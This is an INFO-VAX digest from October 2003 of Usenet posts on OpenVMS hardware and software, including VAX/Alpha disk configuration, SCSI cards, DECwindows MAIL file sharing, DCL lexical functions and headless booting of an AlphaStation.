1 INFO-VAX	Tue, 07 Oct 2003	Volume 2003 : Issue 556       Contents: Re: %MOUNT-W-INCONSIZE Re: Adaptec 29160 and SRM  Re: affordable VMS Re: affordable VMS Re: affordable VMS3 Re: Another huge bug: DECwindows MAIL: include file 3 Re: Another huge bug: DECwindows MAIL: include file 3 Re: Another huge bug: DECwindows MAIL: include file 3 Re: Another huge bug: DECwindows MAIL: include file 3 Re: Another huge bug: DECwindows MAIL: include file  boot without mouse/kbd Re: boot without mouse/kbd Re: boot without mouse/kbd Re: DCL improvements Re: DCL improvements Re: DCL improvements Re: DCL improvements$ Digital Educational Services is back( Re: Digital Educational Services is back Re: DS15 systems have arrived  Re: DS15 systems have arrived  Re: DS15 systems have arrived  Re: DS15 systems have arrived  Re: DS15 systems have arrived  Re: DS15 systems have arrived 2 Re: EVA question: How many vdisks should I create?2 Re: EVA question: How many vdisks should I create?2 Re: EVA question: How many vdisks should I create?@ Re: Fee Based Email (From Re: Process's PreciseMail AntiSpam...) MAIL: importing of text files ! Re: MAIL: importing of text files  Re: MD5 source code ?  Re: MD5 source code ? # O.T. slightly, Re: DCL improvements  OT: Another microsoft virus  Re: Read this and weap, twats! Re: Read this and weap, twats!" Slow Shadow Copy with 36 GB drives Re: Sun takes a hit  Re: Sun takes a hit  Re: Sun takes a hit  Re: Sun takes a hit  Re: Sun takes a hit  Re: Sun takes a hit  Re: Sun takes a hit  Re: Sun takes a hit  Re: Sun takes a hit  Re: VMS system on the web   F ----------------------------------------------------------------------  # Date: Tue, 07 Oct 2003 17:00:01 GMT 1 From: Bob Blunt <robert.blunt@hp.donotspamme.com>  Subject: Re: %MOUNT-W-INCONSIZE 2 Message-ID: <liCgb.6512$px1.6029@news.cpqcorp.net>  / Phillip Helbig---remove CLOTHES to reply wrote: 6 > Further adventures of a hobbyist cluster, continued. > D > Experimenting with a VAX 4000 100A, I have a BA350 hooked up.  It E > appears to have some sort of DSSI-to-SCSI adapter attached, and is  J > attached to the big multi-function connector on the back of the machine. > 1 > The system disk on this machine is a DSSI disk.  > H > I stuck in a couple of RZ28-VA disks, powered up the BA350, and did a  > SYSGEN AUTOCONFIGURE ALL.  > J > SHOW DEVICE now reports a different controller name than for the system H > disk (i.e. the "node name" in parentheses after the device name).  It H > also has an allocation class which is the same as another node in the 
 > cluster. > G > I still have archived somewhere the information on how to change the  3 > allocation class and name of the DSSI controller.  > H > At the moment, the DSSI controller with the system disk on it has the K > same allocation class as the VAX itself (i.e. for those disks which show  B > up on the SCSI controller on the VAX, such as the CD-ROM drive). > J > Would it make sense to give this new DSSI controller (I assume there areJ > two separate controllers, rather than the connector on the back being anH > extension of the internal DSSI bus---otherwise the node names would beJ > different, right?) the same allocation class which is in use on the rest? > of the machine (for the machine itself and for the other DSSI  > controller)?   > H > The disks show up as $1$DIA10: etc in the BA350, so there would be no C > naming conflict with the internal disk ($5$DIA3:---of course the  I > allocation classes would be the same if I change the 1 to 5 on the new  & > controller connected to the BA 350). > K > The two SCSI disks seem to be OK otherwise (i.e. when connected directly  J > to a SCSI controller, they appear to work).  MOUNT on the VAX now gives: > K >    %MOUNT-W-INCONSIZE, inconsistent number of blocks reported, some data   >    may not be accessible > H > What causes this message?  Should I worry about it?  What can I do to 
 > prevent it?  > G Phillip, to which connector on the "big block" is your BA350 attached?  B If connected to the Centronics, I'm surprised that you're getting F DSSI-type disks...  If connected to one of the other connectors, then E all bets are off, IMHO.  The two really big connectors in the center  G with the three rows of pins/sockets are for Q-Bus expansion (using and  2 configuring the Q-Bus can be an "adventure," btw).  E IIRC, there were some VAX4000-10x systems that were either available  G with an embedded HSD05/HSD10s or the HSDs were an option.  This option  I would consume one of the internal drive slots on the "top shelf" and the  F internal drives would probably then be SCSI instead of DSSI.  None of H the "embedded" HSD controllers were intended to be extended to external H devices.  I believe the model number of this HSD was HSD10-EN and these I seem to have been more common on newer variants of the 4000-10x like the   -106(A) and -108(A).   bob    ------------------------------  * Date: Tue, 7 Oct 2003 12:58:04 +0000 (UTC)* From: Osmo Kujala <kujala@tukki.cc.jyu.fi>" Subject: Re: Adaptec 29160 and SRM, Message-ID: <blud8s$pra$1@mordred.cc.jyu.fi>  * In comp.sys.dec healyzh@aracnet.com wrote:= > In comp.sys.dec Osmo Kujala <kujala@tukki.cc.jyu.fi> wrote: C >> Btw. I know that 29160 works for VMS (but doesn't boot in DPWS).   J > Really...  Now that is interesting!  What model PWS did you try it inandJ > what version of OpenVMS?  I can live with it not being bootable, as it's6 > data I'm most interested in getting onto fast disks!   > 		Zane  ? Finally had time to google old articles about this. You may try # "kujala vms sys$config" for google.    One of articles:  * From: Osmo Kujala (kujala@tukki.cc.jyu.fi),  Subject: Adaptec 39160 (KZPEA) & OpenVMS ?   Newsgroups: comp.os.vms  Date: 2002-10-11 00:45:02 PST      	 Hi group!   E Does anyone know, if it is possible to get Adaptec 39160 SCSI-card to D work with OpenVMS in EV5 Alpha? I know that KZPEA which has AIC-7899C chip like 39160 is supported on some EV6-models, but I've also seen ? reports in Web that 39160 is working and regognized as KZPEA in ) AlphaPC 164LX (EV5), with Tru64 at least.   D Adaptec 29160 (AIC-7892) works in PWS 433a(u) with VMS 7.3 and 7.3-1: and in PC164 (Thanks to Patrick Young for valuable info!).B (Have to add entry in sys$user_config.dat if device Id is foreign.E 7.3-1 has 7892 in sys$config.dat but the Device Id doesn't agree with  commodity 29160 card.)  J For 39160 there is already right entry in sys$config.dat (right Device Id)E in 7.3-1 but the card doesn't work in PWS. Both channels of the card   remainG offline and both have error count 1 . With 7.3 result was same but with J error counts of 3. (No I haven't yet analyzed those errors, thanks to that stupid DECevent not installed.)   J Should I wait that rest of the bugs get patches? Could the problem be withF bios emulation? I don't see anything about the card on monitor when I F switch PWS on with SRM, but with Alphabios SCSIselect program of 39160" card is advertised and can be run.  D Main difference between 7892 and 7899 chips (actually AIC-7892B and D AIC-7899G) seems to be that 7899 is bigger and handles two channels.   Osmo   ------------------------------  % Date: Tue, 07 Oct 2003 01:33:22 -0400 ( From: David Froble <davef@tsoft-inc.com> Subject: Re: affordable VMS , Message-ID: <3F825022.5010601@tsoft-inc.com>   John Smith wrote:    > Michael Moroney wrote: > ' >>"John Smith" <a@nonymous.com> writes:  >> >> >>>Advertising.  >>>Advertising.  >>>Advertising.      I'm not disagreeing with you!     > >>You know, I really have to wonder if that TV commercial thatF >>advertises advertising and uses the Pentium logo/xylophone notes was@ >>a subtle dig at DEC/Compaq/HP: "Look, Intel heavily advertisedF >>Pentium and now it rules.  DEC did not advertise Alpha at all and it >>awaits execution..." >> >  > M > It's about buying the correct tool for the job and knowing that you need it  > before you begin the job.  > ( > See if you can spot the metaphor...... > K > Let's say you are a general contractor building a new airport. You need a G > lot of concrete and rebar to build the runways to handle fully loaded L > 747-400 or A380 freighters. You put an RFP out for tender for the delivery > of the concrete and rebar. > L > Bidder 1 comes in at the low price - he has a fleet of 1 ton pickup trucksK > that he says will do the job just fine. He takes you out for lunch, gives J > you tickets to some hot Broadway shows, a 'free' SUV complete with fuzzy7 > dice to hang on your rearview mirror, and a keychain.  > L > Bidder 2 is the mid-price bidder - he has a fleet of  mid-sized trucks. He6 > takes you out for several rounds of golf and dinner. > K > Bidder 3 comes in at the high price - he has proposed an on-site concrete C > plant, delivering the concrete with 30 ton mixers, and a fleet of E > semi-trailers to bring the rebar in. His sales pitch is his written J > proposal. He is quietly confident that you'll see the correctness of hisK > approach and that you'll chose him. He doesn't give you any trinkets, nor  > does he wine and dine you. >  > G > You choose Bidder 1 because he's the 'cheapest'. Pretty soon you have I > hundreds of broken pickup trucks scattered all over the airport, like a M > field of anti-tank obstacles with their harddened concrete loads and broken  > suspensions. > M > So you fire Bidder 1 and hire Bidder 2 to finish the job. Bidder 2's trucks J > don't break down but they just can't haul enough concrete and rebar fastL > enough and pretty soon you realize that the job will never be completed inM > time before you, the general contractor, are hit with performance penalties . > in your contract with the airport authority. > I > Sadly, belately, you realize that you should have hired Bidder 3 in the L > first place. You wish that somebody had done a better sales job on you forM > Bidder 3 before you made your ill-fated decisions to hire Bidder 1 and then K > Bidder 2. But by then the airport authority is thinking of firing you for 7 > poor performance, and suing your ass off for damages.     N You would have still chose bidder 1, even if bidder 3 had made the same sales Q pitch and provided the bribes and such.  Why?  Because if you didn't know enough  Q about putting down that much concrete, you'd still choose the lowest bidder.  If  O you did know enough about pouring that amount of concrete, you would have gone  5 looking for bidder 3, even if he didn't put in a bid.   O Then again, if you had some bean counter you worked for, that didn't know what  O was required, and overruled you on the supplier, well, you may or may not have  * heard some of my rants about beancounters.  P However, consider the case where your boss was lobbied by bidder 1, who assured M him that 1-ton pickups are the way of the future, and your boss hasn't heard  P about bidder 3 for years, or ever, and decides that you're lost in the past and N chooses bidder 1.  In this case, it would have been good if bidder 3 had done O some advertising about prior jobs and serious concrete work.  Can you say "the  N most reliable, robust, secure, scalable commercial operating system available   today"?  It seems that HP can't.  L If decision makers actually knew what they needed, VMS would be chosen more E often.  That part of the problem in some ways goes back to education.      Dave     --  4 David Froble                       Tel: 724-529-04504 Dave Froble Enterprises, Inc.      Fax: 724-529-0596> DFE Ultralights, Inc.              E-Mail: davef@tsoft-inc.com 170 Grimplin Road  Vanderbilt, PA  15486    ------------------------------  # Date: Tue, 07 Oct 2003 12:42:22 GMT # From: "John Smith" <a@nonymous.com>  Subject: Re: affordable VMS I Message-ID: <Owygb.135854$3r1.18396@news02.bloor.is.net.cable.rogers.com>    David Froble wrote:  > John Smith wrote:  >  >> Michael Moroney wrote:  >>) >>> "John Smith" <a@nonymous.com> writes:  >>>  >>>  >>>> Advertising.  >>>> Advertising.  >>>> Advertising.  >  >  > I'm not disagreeing with you!  >  > @ >>> You know, I really have to wonder if that TV commercial thatH >>> advertises advertising and uses the Pentium logo/xylophone notes wasB >>> a subtle dig at DEC/Compaq/HP: "Look, Intel heavily advertisedH >>> Pentium and now it rules.  DEC did not advertise Alpha at all and it >>> awaits execution..." >>>  >> >>F >> It's about buying the correct tool for the job and knowing that you$ >> need it before you begin the job. >>) >> See if you can spot the metaphor......  >>E >> Let's say you are a general contractor building a new airport. You B >> need a lot of concrete and rebar to build the runways to handleB >> fully loaded 747-400 or A380 freighters. You put an RFP out for5 >> tender for the delivery of the concrete and rebar.  >>F >> Bidder 1 comes in at the low price - he has a fleet of 1 ton pickupF >> trucks that he says will do the job just fine. He takes you out forD >> lunch, gives you tickets to some hot Broadway shows, a 'free' SUVB >> complete with fuzzy dice to hang on your rearview mirror, and a >> keychain. >>B >> Bidder 2 is the mid-price bidder - he has a fleet of  mid-sizedB >> trucks. He takes you out for several rounds of golf and dinner. >>C >> Bidder 3 comes in at the high price - he has proposed an on-site D >> concrete plant, delivering the concrete with 30 ton mixers, and aG >> fleet of semi-trailers to bring the rebar in. His sales pitch is his @ >> written proposal. He is quietly confident that you'll see theD >> correctness of his approach and that you'll chose him. He doesn't8 >> give you any trinkets, nor does he wine and dine you. >> >>H >> You choose Bidder 1 because he's the 'cheapest'. Pretty soon you haveC >> hundreds of broken pickup trucks scattered all over the airport, D >> like a field of anti-tank obstacles with their harddened concrete  >> loads and broken suspensions. >>G >> So you fire Bidder 1 and hire Bidder 2 to finish the job. Bidder 2's G >> trucks don't break down but they just can't haul enough concrete and B >> rebar fast enough and pretty soon you realize that the job willE >> never be completed in time before you, the general contractor, are C >> hit with performance penalties in your contract with the airport 
 >> authority.  >>F >> Sadly, belately, you realize that you should have hired Bidder 3 inF >> the first place. You wish that somebody had done a better sales jobG >> on you for Bidder 3 before you made your ill-fated decisions to hire C >> Bidder 1 and then Bidder 2. But by then the airport authority is F >> thinking of firing you for poor performance, and suing your ass off >> for damages.  >  > D > You would have still chose bidder 1, even if bidder 3 had made theF > same sales pitch and provided the bribes and such.  Why?  Because ifE > you didn't know enough about putting down that much concrete, you'd G > still choose the lowest bidder.  If you did know enough about pouring D > that amount of concrete, you would have gone looking for bidder 3,! > even if he didn't put in a bid.  > F > Then again, if you had some bean counter you worked for, that didn'tF > know what was required, and overruled you on the supplier, well, you@ > may or may not have heard some of my rants about beancounters. > E > However, consider the case where your boss was lobbied by bidder 1, C > who assured him that 1-ton pickups are the way of the future, and G > your boss hasn't heard about bidder 3 for years, or ever, and decides F > that you're lost in the past and chooses bidder 1.  In this case, itB > would have been good if bidder 3 had done some advertising about> > prior jobs and serious concrete work.  Can you say "the most@ > reliable, robust, secure, scalable commercial operating system, > available today"?  It seems that HP can't. > A > If decision makers actually knew what they needed, VMS would be E > chosen more often.  That part of the problem in some ways goes back  > to education.     J And in this case, education means both making a serious effort in the .eduL market to ensure that the next generation of technologists, accountants, andL MBA's know what VMS is as well as advertising to teach the 'lost generation'I (1988-ish -to-present) of business decision makers and technologists what  VMS can do for their business.   ------------------------------  * Date: Tue, 7 Oct 2003 17:24:59 +0000 (UTC)7 From: moroney@world.std.spaamtrap.com (Michael Moroney)  Subject: Re: affordable VMS ( Message-ID: <blustb$7eq$2@pcls4.std.com>  % "John Smith" <a@nonymous.com> writes:    >Michael Moroney wrote: ( >> "John Smith" <a@nonymous.com> writes: >> >>> Advertising. >>> Advertising. >>> Advertising. >> >>? >> You know, I really have to wonder if that TV commercial that G >> advertises advertising and uses the Pentium logo/xylophone notes was A >> a subtle dig at DEC/Compaq/HP: "Look, Intel heavily advertised G >> Pentium and now it rules.  DEC did not advertise Alpha at all and it  >> awaits execution..."     L >It's about buying the correct tool for the job and knowing that you need it >before you begin the job.  ' >See if you can spot the metaphor......   J >Let's say you are a general contractor building a new airport. You need aF >lot of concrete and rebar to build the runways to handle fully loadedK >747-400 or A380 freighters. You put an RFP out for tender for the delivery  >of the concrete and rebar.   K >Bidder 1 comes in at the low price - he has a fleet of 1 ton pickup trucks  ...   K >Bidder 2 is the mid-price bidder - he has a fleet of  mid-sized trucks. He 5 >takes you out for several rounds of golf and dinner.  ...   J >Bidder 3 comes in at the high price - he has proposed an on-site concreteB >plant, delivering the concrete with 30 ton mixers, and a fleet ofD >semi-trailers to bring the rebar in. His sales pitch is his written  L But the airport builder doesn't even know that Bidder 3 and their technologyF even exists.  They see heavy advertising by Bidder 1 and find out thatH over 95% of construction projects use Bidder 1 type techniques (countingI every homeowner who purchases a sack of cement at Lowes as a construction I project, of course).  Meanwhile, Bidder 3 loses money, and their provider H of on-site concrete plants discontinues making them, forcing Bidder 3 toI use Bidder 1 & 2 style technology in the future (assuming they're even in  the business).  @ Meanwhile, because Bidder 1 leaves his supplies out in the open,C they repeatedly get contaminated by the weather, producing flaws in I the runway.  Bidder 1 is more than willing to come up with a new concrete J patch each time it happens to hide the flaws.  Every so often they come upM with a new type of concrete which doesn't have the flaws - but has new flaws. J Meanwhile, everyone knows the cement sacks need to be stored in waterproofG enclosures to avoid contamination, but for some reason they never do...  --   -Mike    ------------------------------   Date: 7 Oct 2003 01:28:05 -0700 . From: martinkirby12@yahoo.co.uk (Martin Kirby)< Subject: Re: Another huge bug: DECwindows MAIL: include file< Message-ID: <224291b.0310070028.71c9822d@posting.google.com>  K My error. What I meant to say was that the C RTL won't specify a SHR field. 3 Therefore, RMS applies its default which is SHRGET.   v koehler@eisner.nospam.encompasserve.org (Bob Koehler) wrote in message news:<vHh+TBhzobeX@eisner.encompasserve.org>...o > In article <224291b.0310060104.7dd67359@posting.google.com>, martinkirby12@yahoo.co.uk (Martin Kirby) writes: L > > DECwindows MAIL opens the file using a call of fopen (filename, "r"). I B > > assume that the C compiler maps this to a FAB$V_SHRGET access. > = >    I would be suprized if that mapped to share of any kind.    ------------------------------   Date: 7 Oct 2003 01:33:44 -0700 . From: martinkirby12@yahoo.co.uk (Martin Kirby)< Subject: Re: Another huge bug: DECwindows MAIL: include file< Message-ID: <224291b.0310070033.7e838145@posting.google.com>  ? A quick experiment shows that indeed using "shr=put" does allow C opening the log file. Therefore, it seems a sensible enhancement. I > have reservations about using it for the "Create-Send> File(noD editor)" and for the "Include File(no editor)" and the "Include LastC Sent(no editor)" cases because those do not allow for review of the  data to be sent.   Martin Kirby  [ JF Mezei <jfmezei.spamnot@istop.com> wrote in message news:<3F81902F.A164BC21@istop.com>...  > Martin Kirby wrote:  > > J > > DECwindows MAIL opens the file using a call of fopen (filename, "r").  > J > You could change it to fopen(filename,"r","shr=put") (or whatever properL > sharing to signify that you only intent to read the file if the writer has > allowed you to read it). >    ------------------------------   Date: 7 Oct 2003 01:35:15 -0700 . From: martinkirby12@yahoo.co.uk (Martin Kirby)< Subject: Re: Another huge bug: DECwindows MAIL: include file< Message-ID: <224291b.0310070035.24bdc692@posting.google.com>  @ It has been added to our wish list for enhancements to consider.   Martin Kirby  [ JF Mezei <jfmezei.spamnot@istop.com> wrote in message news:<3F81C946.565217D5@istop.com>...  > Fred Kleinsorge wrote: > > P > > Bug, feature, whatever.  Given that the code in question has worked this way@ > > for over a decade, I will challenge calling it a "huge" bug. > O > One may consider this just a "feature" on other operating systems where there O > are bugs with much more severe impacts (such as on windows), but since VMS is M > of such high quality, of the bugs that remain, this one would be considered  > BIG :-) :-) :-) :-) :-) :-)  > P > Seriously, since this is more of a feature request, as long as the developpersN > are aware of it, I trust their expertise and judgement. If they feel it is a9 > valid one, they can then implement it at their leasure.  > G > I am not an important enough customer to demand changes to VMS if the ; > engineers don't themselves feel the change is a good one.    ------------------------------  % Date: Tue, 07 Oct 2003 06:23:36 -0400 * From: JF Mezei <jfmezei.spamnot@istop.com>< Subject: Re: Another huge bug: DECwindows MAIL: include file) Message-ID: <3F8293F1.D283DB6A@istop.com>    Martin Kirby wrote:  > B > It has been added to our wish list for enhancements to consider.  K Many thanks. I expect a patch for VAX VMS 7.2 to be available next week :-)  :-) :-)   L Another enhancement you might consider is the character cell MAIL utility. I- realise there are issues with this however...   * It currently doesn't allow something like:   $IF ERROR_COUNT .GT. 55  $THEN @ $ 	MAIL TCPIP$FTP_RUN.LOG SYSTEM/subject="Please check this log" $ENDIF  N When you consider automated procedures, it would make sense to be able to mailK a "current" snapshot of a log file. Ok, there is a workaround with either a G backup/ignore-interlock, or type/output= and then maiing the file, then K deleting the temporary file, but it would be cleaner to be able to do it in 	 one shot.   & (OK, perhaps a better way would be to:  L PIPE TYPE/TAIL=100 TCPIP$FTP_RUN.LOG | MAIL SYS$INPUT SYSTEM/Subject="please check this log"    ------------------------------  $ Date: Tue, 7 Oct 2003 12:47:22 +0200< From: "Martin Vorlaender" <martin.vorlaender@pdv-systeme.de>< Subject: Re: Another huge bug: DECwindows MAIL: include file8 Message-ID: <blu5jt$g5m62$1@ID-56200.news.uni-berlin.de>   JF Mezei wrote: C > Another enhancement you might consider is the character cell MAIL : > utility. I realise there are issues with this however... > , > It currently doesn't allow something like: >  > $IF ERROR_COUNT .GT. 55  > $THEN A > $ MAIL TCPIP$FTP_RUN.LOG SYSTEM/subject="Please check this log"  > $ENDIF > C > When you consider automated procedures, it would make sense to be A > able to mail a "current" snapshot of a log file. Ok, there is a G > workaround with either a backup/ignore-interlock, or type/output= and F > then maiing the file, then deleting the temporary file, but it would- > be cleaner to be able to do it in one shot.  > ( > (OK, perhaps a better way would be to: > 7 > PIPE TYPE/TAIL=100 TCPIP$FTP_RUN.LOG | MAIL SYS$INPUT ( > SYSTEM/Subject="please check this log"  D Perhaps the best way to deal with a batch job's log file would be toE have a second job submit the "work job", then sync with it, and if it ? returned an error, mail the log file (which is by then closed).    cu,    Martin --  F   OpenVMS:                | Martin Vorlaender  |  VMS & WNT programmer3    The operating system   | work: mv@pdv-systeme.de F    God runs the           |   http://www.pdv-systeme.de/users/martinv/:    earth simulation on.   | home: martin@radiogaga.harz.de   ------------------------------  % Date: Tue, 07 Oct 2003 10:05:09 +0200 " From: Didier Morandi <no@spam.com> Subject: boot without mouse/kbd 2 Message-ID: <blts3m$k4i$1@news-reader2.wanadoo.fr>  B Why can't I boot my AlphaStation 250 4/266 (for sale) without the  keyboard and mouse plugged in?   Is it possible to bypass this?  G What I need is an Ethernet connection and nothing else. No terminal no   human interface, no nothing.   Thanks,    D. --  - Didier Morandi sarl au capital de 8 000 euros                      Tout VMS.   5 avenue Albert Durand, 31700 Blagnac France.   Tl: 33(0)5 6131 6287  Fax: 33(0)5 6171 3500&           http://www.didiermorandi.com$             RCS Toulouse 448 694 851   ------------------------------  % Date: Tue, 07 Oct 2003 13:44:11 +0100 - From: John Laird <nospam@laird-towers.org.uk> # Subject: Re: boot without mouse/kbd 8 Message-ID: <f5d5ovs4rqkchpa4b4qtgq4bug24hdcika@4ax.com>  G On Tue, 07 Oct 2003 10:05:09 +0200, Didier Morandi <no@spam.com> wrote:   C >Why can't I boot my AlphaStation 250 4/266 (for sale) without the   >keyboard and mouse plugged in?  >  >Is it possible to bypass this?  > H >What I need is an Ethernet connection and nothing else. No terminal no  >human interface, no nothing.   F I think the FAQ has a question entitled "How do I boot an AlphastationF without monitor or keyboard".  From memory, you need to get to the >>>K prompt at least once and enter "set console serial" then "init".  From then B on, the console will be directed to the serial port, but you won't) physically have to plug anything into it.    --   John   ------------------------------  % Date: Tue, 07 Oct 2003 15:34:38 +0200 " From: Didier Morandi <no@spam.com># Subject: Re: boot without mouse/kbd 2 Message-ID: <blufdf$j54$1@news-reader1.wanadoo.fr>  5 Shame on me, forgot good old Hoff's recommendation...  Thanks,    D.   John Laird wrote:   I > On Tue, 07 Oct 2003 10:05:09 +0200, Didier Morandi <no@spam.com> wrote:  >  > D >>Why can't I boot my AlphaStation 250 4/266 (for sale) without the   >>keyboard and mouse plugged in? >>  >>Is it possible to bypass this? >>I >>What I need is an Ethernet connection and nothing else. No terminal no   >>human interface, no nothing. >  > H > I think the FAQ has a question entitled "How do I boot an AlphastationH > without monitor or keyboard".  From memory, you need to get to the >>>M > prompt at least once and enter "set console serial" then "init".  From then D > on, the console will be directed to the serial port, but you won't+ > physically have to plug anything into it.    ------------------------------   Date: 7 Oct 2003 09:20:41 -0500  From: briggs@encompasserve.org Subject: Re: DCL improvements 3 Message-ID: <sd80wS3zf2Ey@eisner.encompasserve.org>   _ In article <6OCT03.21142891@feda01.fed.ornl.gov>, Dave Greenwood <greenwoodde@ornl.gov> writes: < > In a previous article, Guy Peleg <guy.peleg@hp.com> wrote: >> Hi Hans,  >>  = >> I'm currently working on WHILE - expected release is V8.2.  >>  Q >> As for F$GETDVI("AVL") I agree that FALSE should be returned. Could you please  >> logP >> a call with your local support center and have it escalated to engineering? I! >> will provide you a fix to your < >> current version and will make sure to include it in V8.2. > E > I'll have to agree with the previously noted concern about breaking F > existing code with this change.  I'll also note that if you made theE > change for AVL I'd expect you to make the same change for *all* the  > getdvi item codes.  E Which means determining a default value to return for all those codes E that is reasonable for a non-existent device.  Not all _that_ hard to C do, I suppose.  "False", 0 and "" should serve for most everything.    We've had this argument before.   D The purist point of view is that asking for any attribute other thanD "EXISTS" of a non-existent device is a nonsensical thing to do.  TheE lexical function should mirror the operation of the underlying system D service.  And the underlying system service fails with an error code of SS$_NOSUCHDEV.   J The non-purist point of view is "I want to know if the device is availableF for use.  And if it doesn't exist then it's surely not available.  Why2 make me waste two lexical calls when one would do?   	John Briggs   ------------------------------   Date: 7 Oct 2003 11:09:38 -0500 - From: Kilgallen@SpamCop.net (Larry Kilgallen)  Subject: Re: DCL improvements 3 Message-ID: <oQczYQ8+TnD4@eisner.encompasserve.org>   T In article <sd80wS3zf2Ey@eisner.encompasserve.org>, briggs@encompasserve.org writes:  L > The non-purist point of view is "I want to know if the device is availableH > for use.  And if it doesn't exist then it's surely not available.  Why4 > make me waste two lexical calls when one would do?  D And the answer would be "so you get training in how to program for a compiled language".    ------------------------------  # Date: Tue, 07 Oct 2003 15:51:19 GMT " From:   VAXman-  @SendSpamHere.ORG Subject: Re: DCL improvements 0 Message-ID: <00A27051.CF583CFD@SendSpamHere.ORG>  T In article <sd80wS3zf2Ey@eisner.encompasserve.org>, briggs@encompasserve.org writes:` >In article <6OCT03.21142891@feda01.fed.ornl.gov>, Dave Greenwood <greenwoodde@ornl.gov> writes:= >> In a previous article, Guy Peleg <guy.peleg@hp.com> wrote:  >>> Hi Hans, >>>   > >>> I'm currently working on WHILE - expected release is V8.2. >>>   R >>> As for F$GETDVI("AVL") I agree that FALSE should be returned. Could you please >>> log Q >>> a call with your local support center and have it escalated to engineering? I " >>> will provide you a fix to your= >>> current version and will make sure to include it in V8.2.  >>  F >> I'll have to agree with the previously noted concern about breakingG >> existing code with this change.  I'll also note that if you made the F >> change for AVL I'd expect you to make the same change for *all* the >> getdvi item codes.  > F >Which means determining a default value to return for all those codesF >that is reasonable for a non-existent device.  Not all _that_ hard toD >do, I suppose.  "False", 0 and "" should serve for most everything. >   >We've had this argument before. > E >The purist point of view is that asking for any attribute other than E >"EXISTS" of a non-existent device is a nonsensical thing to do.  The F >lexical function should mirror the operation of the underlying systemE >service.  And the underlying system service fails with an error code  >of SS$_NOSUCHDEV.  J Being the "purist", where will this change be implemented?  In the $GETDVI$ service code or just in the lexical?  J If I have a procedure that checks for device AVaiLability, what shall I doI when I get back "FALSE" and the code tried to make said device AVaiLable?     K >The non-purist point of view is "I want to know if the device is available G >for use.  And if it doesn't exist then it's surely not available.  Why 3 >make me waste two lexical calls when one would do?   H Anybody writing procedures in DCL is most certainly *NOT* concerned withI CPU cycles it takes to get the job done.  If efficiency was a design goal I for the task implemented, DCL would be the first item to be scratched off # of my implementation language list.  --  L VAXman- A Bored Certified VMS Kernel Mode Hacker    VAXman(at)TMESIS(dot)COM             5   "Well my son, life is like a beanstalk, isn't it?"     ------------------------------  * Date: Tue, 7 Oct 2003 16:52:49 +0000 (UTC), From: lewis@PROBE.mitre.org (Keith A. Lewis) Subject: Re: DCL improvements . Message-ID: <blur10$b4u$1@newslocal.mitre.org>  \  writes in article <00A27051.CF583CFD@SendSpamHere.ORG> dated Tue, 07 Oct 2003 15:51:19 GMT:K >Being the "purist", where will this change be implemented?  In the $GETDVI % >service code or just in the lexical?   H Since the subject of the thread is "DCL improvements" I would assume the lexical.  K >If I have a procedure that checks for device AVaiLability, what shall I dofJ >when I get back "FALSE" and the code tried to make said device AVaiLable?  H You'll probably get a %SYSTEM-W-NOSUCHDEV on whatever command you use toL make it available, which will trigger the same condition handler as it would# have if it happened in the lexical.   + --Keith Lewis              klewis$mitre.orge> The above may not (yet) represent the opinions of my employer.   ------------------------------  % Date: Tue, 07 Oct 2003 10:29:58 +0200 " From: Didier Morandi <no@spam.com>- Subject: Digital Educational Services is backa2 Message-ID: <bltti8$pv6$1@news-reader2.wanadoo.fr>  ) http://education.hp.com/email/openvms.htme   D.   ------------------------------   Date: 7 Oct 2003 12:25:59 GMTs( From: bill@cs.uofs.edu (Bill Gunshannon)1 Subject: Re: Digital Educational Services is backI9 Message-ID: <blubcn$gnq99$1@ID-135708.news.uni-berlin.de>?  2 In article <bltti8$pv6$1@news-reader2.wanadoo.fr>,% 	Didier Morandi <no@spam.com> writes: + > http://education.hp.com/email/openvms.htmt >    What a tease.....o  E Here I thought HP was launching a serious, workable .edu program. :-(.   bill   -- DJ Bill Gunshannon          |  de-moc-ra-cy (di mok' ra see) n.  Three wolvesD bill@cs.scranton.edu     |  and a sheep voting on what's for dinner. University of Scranton   |A Scranton, Pennsylvania   |         #include <std.disclaimer.h>   u   ------------------------------  $ Date: Tue, 7 Oct 2003 15:07:55 +0200+ From: "Rik Steenwinkel" <rsteenw@xs4all.nl>o& Subject: Re: DS15 systems have arrived: Message-ID: <Ysd2q9KROUC1-pn2-n1U1UE1zdpPb@news.xs4all.nl>  ; On Tue, 7 Oct 2003 03:56:30 UTC, healyzh@aracnet.com wrote:t  L } OK, I'm not sure how to take this, does the adapter convert USB-to-PS2, or
 } PS2-to-USB?e  C With most, if not all, current keyboards and mice that come with a tE USB-to-PS2 converter (keyboard/mouse cable ends in USB plug, a small 4B USB-socket-to-PS2-plug allows it to plug into a PS2 machine), the F converter itself is pretty dumb, and the logic inside the kbd or mouseD is dual-protocol, detecting whether it's connected to USB or to PS2 C via the adapter thingie. The adapter is useless for any device but - that keyboard or mouse.B  F Going the other way, from a PS2 keyboard and mouse to a system having & only USB you'll need a converter like F http://startech.com/ststore/itemdetail.cfm?ProductID=USB2PS2&topbar=toB pbaruf.htm . There are also USB hubs that offer this, and often a ! serial and parallel port as well.    N } I've seen a PS2-to-USB converter and have been thinking very seriously aboutO } getting one to try on my PowerMac (I want a decent logitech 3-button mouse). oG } I'm already using an ADB-to-USB converter so that I can have a decentV } keyboard on the system.i  C Why would you want a PS2-to-USB converter when almost all Logitech DC mice are already USB, and could plug into the ADB-to-USB converter l@ (don't you mean USB-to-ADB?), by way of an USB hub if necessary?  F I'd also try putting a USB interface card into the machine, of course 0 when supported by the OS version you're running.   -- e> // Rik Steenwinkel  #  VMS mercenary  #  Enschede, Netherlands // 1024D/CDBAE5C1n   ------------------------------  # Date: Tue, 07 Oct 2003 15:11:43 GMTu9 From: "Fred Kleinsorge" <my-last-name@stardotzko.dec.com>a& Subject: Re: DS15 systems have arrived2 Message-ID: <PIAgb.6491$cj1.5039@news.cpqcorp.net>  H The new LK463 has a USB connector by default.  The dongle provides a PS2! interface, and comes with the KB.s  K In reality most keyboards being built these days are being built to go bothlL ways.  There are PS2->USB dongles and USB->PS2 dongles.  All they do is tellI the KB which interface they need to deal with, and provide the connection K (there isn't any real logic inside) - the KB then senses the personality itaK needs to use.  And I don't know that they are "universal" across KB makers."  H The MS wireless KB I just got for my wife has PS2 connections, and comes with a USB dongle.  I There is a company called PI that sells a true converter called a Y-mouseeL that will take "standard" PS2 keyboards and mice, and will convert them to aG USB connection.  It has real logic inside it.  It won't handle "custom" I keyboards like the LK411 correctly - but they will gladly do a custom OEM  version for you.    6 "Rik Steenwinkel" <rsteenw@xs4all.nl> wrote in 